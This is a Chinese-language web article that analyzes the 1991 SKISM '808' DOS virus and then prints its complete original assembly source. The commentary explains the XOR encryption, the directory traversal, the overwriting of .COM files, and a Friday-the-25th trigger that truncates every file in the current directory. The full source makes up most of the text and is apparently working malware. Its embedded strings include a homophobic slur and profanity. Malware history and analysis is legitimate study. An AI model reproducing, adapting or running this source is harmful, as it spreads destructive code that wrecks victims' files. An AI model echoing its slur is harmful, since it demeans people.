首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 更多程式語言 >> 組合語言

經典病毒源碼分析:The 808 Virus (1991)

     編輯:組合語言

前言

在早期的 DOS 時代,病毒編寫技術與反病毒技術同步演進。The 808 Virus 是由「Smart Kids Into Sick Methods (SKISM)」組織於 1991 年發布的一款覆寫型病毒,其源碼展示了當時病毒編寫的典型技術:加密、目錄遍歷、文件感染、觸發條件及破壞性載荷。雖然這類代碼在今天屬於惡意軟體範疇,但從安全研究與歷史技術角度分析其機制,有助於理解早期惡意代碼的演變邏輯。

核心模塊解析

1. 加密與解密機制

病毒採用簡單的 XOR 加密,密鑰取自系統時間的毫秒數(encrypt_val),理論上可產生 100 種變體。加密範圍從 virus_code 開始,長度為 virus_size (808 bytes)。每次感染前調用 encrypt 加密病毒體,寫入文件後再次調用還原,實現「在磁盤上加密、內存中明文」的隱藏策略。

2. 感染流程

  • 環境檢查:要求 DOS 2.0 以上(int 21h/ah=30h)。
  • 目錄遍歷:從根目錄開始,使用 int 21h/ah=4eh/4fh 遞歸查找 *.COM 文件(註:源碼中 filespec 為 *.EXE,但實際掃描用 *.COM,可能為殘留錯誤)。
  • 文件處理:保存原屬性/時間/日期,清除屬性,以讀寫方式打開,讀取前 2 字節檢查標識 02EBh(JMP SHORT 機器碼)判斷是否已感染。
  • 寫入病毒體:調用 infectfile 將 808 字節病毒代碼覆寫到文件頭部,並恢復原屬性與時間戳。

3. 觸發條件與破壞載荷

病毒在感染完成後檢查系統日期:

  • 年份 ≥ 1991
  • 日期 ≥ 25 日
  • 星期五(al=5)

滿足條件後,在當前目錄下以 *.* 匹配所有文件,創建同名文件(int 21h/ah=3ch)實質上截斷文件長度為 0,造成數據破壞。此邏輯對應源碼中 audi 標籤後的循環。

4. 簽名與填充數據

病毒尾部包含特徵字符串:

words_ db "Skism Rythem Stack Virus-808. Smart Kids Into Sick Methods",0
words2 db " Dont alter this code into your own strain, faggit. ",0
words3 db " HR/SSS NYCity, this is the fifth of many, many more....",0
words4 db " You sissys.....",0

這些文本同時作為填充將病毒體固定為 808 字節。

技術史意義

The 808 Virus 展示了早期病毒的典型特徵:體積小、依賴 DOS 中斷、採用簡單多態性、具備條件觸發破壞行為。其目錄遞歸遍歷邏輯(保存/恢復 DTA、切換目錄)反映了 DOS 文件系統操作的底層細節。現代視角下,這類代碼僅具歷史研究價值,任何實際傳播與破壞行為均屬違法。

原始源碼(保留)

------------------------------------------------------------------------------
;The Skism 808 Virus. Created 1991 by Smart Kids Into Sick Methods.
filename EQU 30 ;used to find file name
fileattr EQU 21 ;used to find file attributes
filedate EQU 24 ;used to find file date
filetime EQU 22 ;used to find file time
code_start EQU 0100h ;start of all .COM files
virus_size EQU 808 ;TR 808
code segment 'code'
assume cs:code,ds:code,es:code
org code_start
main proc near
jmp virus_start
encrypt_val db 00h
virus_start:
call encrypt ;encrypt/decrypt file
jmp virus ;go to start of code
encrypt:
push cx
mov bx,offset virus_code ;start encryption at data
xor_loop:
mov ch,[bx] ;read current byte
xor ch,encrypt_val ;get encryption key
mov [bx],ch ;switch bytes
inc bx ;move bx up a byte
cmp bx,offset virus_code+virus_size
;are we done with the encryption
jle xor_loop ;no? keep going
pop cx
ret
infectfile:
mov dx,code_start ;where virus starts in memory
mov bx,handle ;load bx with handle
push bx ;save handle on stack
call encrypt ;encrypt file
pop bx ;get back bx
mov cx,virus_size ;number of bytes to write
mov ah,40h ;write to file
int 21h ;
push bx
call encrypt ;fix up the mess
pop bx
ret
virus_code:
wildcards db "*",0 ;search for directory argument
filespec db "*.EXE",0 ;search for EXE file argument
filespec2 db "*.*",0
rootdir db "",0 ;argument for root directory
dirdata db 43 dup (?) ;holds directory DTA
filedata db 43 dup (?) ;holds files DTA
diskdtaseg dw ? ;holds disk dta segment
diskdtaofs dw ? ;holds disk dta offset
tempofs dw ? ;holds offset
tempseg dw ? ;holds segment
drivecode db ? ;holds drive code
currentdir db 64 dup (?) ;save current directory into this
handle dw ? ;holds file handle
orig_time dw ? ;holds file time
orig_date dw ? ;holds file date
orig_attr dw ? ;holds file attr
idbuffer dw 2 dup (?) ;holds virus id
virus:
mov ax,3000h ;get dos version
int 21h ;
cmp al,02h ;is it at least 2.00?
jb bus1 ;won't infect less than 2.00
mov ah,2ch ;get time
int 21h ;
mov encrypt_val,dl ;save m_seconds to encrypt val so
;theres 100 mutations possible
setdta:
mov dx,offset dirdata ;offset of where to hold new dta
mov ah,1ah ;set dta address
int 21h ;
newdir:
mov ah,19h ;get drive code
int 21h ;
mov dl,al ;save drivecode
inc dl ;add one to dl, because functions differ
mov ah,47h ;get current directory
mov si, offset currentdir ;buffer to save directory in
int 21h ;
mov dx,offset rootdir ;move dx to change to root directory
mov ah,3bh ;change directory to root
int 21h ;
scandirs:
mov cx,13h ;include hidden/ro directorys
mov dx, offset wildcards ;look for '*'
mov ah,4eh ;find first file
int 21h ;
cmp ax,12h ;no first file?
jne dirloop ;no dirs found? bail out
bus1:
jmp bus
dirloop:
mov ah,4fh ;find next file
int 21h ;
cmp ax,12h
je bus ;no more dirs found, roll out
chdir:
mov dx,offset dirdata+filename;point dx to fcb - filename
mov ah,3bh ;change directory
int 21h ;
mov ah,2fh ;get current dta address
int 21h ;
mov [diskdtaseg],es ;save old segment
mov [diskdtaofs],bx ;save old offset
mov dx,offset filedata ;offset of where to hold new dta
mov ah,1ah ;set dta address
int 21h ;
scandir:
mov cx,07h ;find any attribute
mov dx,offset filespec ;point dx to "*.COM",0
mov ah,4eh ;find first file function
int 21h ;
cmp ax,12h ;was file found?
jne transform
nextexe:
mov ah,4fh ;find next file
int 21h ;
cmp ax,12h ;none found
jne transform ;found see what we can do
mov dx,offset rootdir ;move dx to change to root directory
mov ah,3bh ;change directory to root
int 21h ;
mov ah,1ah ;set dta address
mov ds,[diskdtaseg] ;restore old segment
mov dx,[diskdtaofs] ;restore old offset
int 21h ;
jmp dirloop
bus:
jmp rollout
transform:
mov ah,2fh ;temporally store dta
int 21h ;
mov [tempseg],es ;save old segment
mov [tempofs],bx ;save old offset
mov dx, offset filedata + filename
mov bx,offset filedata ;save file...
mov ax,[bx]+filedate ;date
mov orig_date,ax ;
mov ax,[bx]+filetime ;time
mov orig_time,ax ; and
mov ax,[bx]+fileattr ;
mov ax,4300h
int 21h
mov orig_attr,cx
mov ax,4301h ;change attributes
xor cx,cx ;clear attributes
int 21h ;
mov ax,3d00h ;open file - read
int 21h ;
jc fixup ;error - find another file
mov handle,ax ;save handle
mov ah,3fh ;read from file
mov bx,handle ;move handle to bx
mov cx,02h ;read 2 bytes
mov dx,offset idbuffer ;save to buffer
int 21h ;
mov ah,3eh ;close file for now
mov bx,handle ;load bx with handle
int 21h ;
mov bx, idbuffer ;fill bx with id string
cmp bx,02ebh ;infected?
jne doit ;same - find another file
fixup:
mov ah,1ah ;set dta address
mov ds,[tempseg] ;restore old segment
mov dx,[tempofs] ;restore old offset
int 21h ;
jmp nextexe
doit:
mov dx, offset filedata + filename
mov ax,3d02h ;open file read/write access
int 21h ;
mov handle,ax ;save handle
call infectfile
;mov ax,3eh ;close file
;int 21h
rollout:
mov ax,5701h ;restore original
mov bx,handle ;
mov cx,orig_time ;time and
mov dx,orig_date ;date
int 21h ;
mov ax,4301h ;restore original attributes
mov cx,orig_attr
mov dx,offset filedata + filename
int 21h
;mov bx,handle
;mov ax,3eh ;close file
;int 21h
mov ah,3bh ;try to fix this
mov dx,offset rootdir ;for speed
int 21h ;
mov ah,3bh ;change directory
mov dx,offset currentdir ;back to original
int 21h ;
mov ah,2ah ;check system date
int 21h ;
cmp cx,1991 ;is it at least 1991?
jb audi ;no? don't do it now
cmp dl,25 ;is it the 25th?
jb audi ;not yet? quit
cmp al,5 ;is Friday?
jne audi ;no? quit
mov dx,offset dirdata ;offset of where to hold new dta
mov ah,1ah ;set dta address
int 21h ;
mov ah,4eh ;find first file
mov cx,7h ;
mov dx,offset filespec2 ;offset *.*
Loops:
int 21h ;
jc audi ;error? then quit
mov ax,4301h ;find all normal files
xor cx,cx ;
int 21h ;
mov dx,offset dirdata + filename
mov ah,3ch ;fuck up all files in current dir
int 21h ;
jc audi ;error? quit
mov ah,4fh ;find next file
jmp loops ;
audi:
mov ax,4c00h ;end program
int 21h ;
;The below is just text to pad out the virus size to 808 bytes. Don't
;just change the text and claim that this is your creation.
words_ db "Skism Rythem Stack Virus-808. Smart Kids Into Sick Methods",0
words2 db " Dont alter this code into your own strain, faggit. ",0
words3 db " HR/SSS NYCity, this is the fifth of many, many more....",0
words4 db " You sissys.....",0
main endp
code ends
end main
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved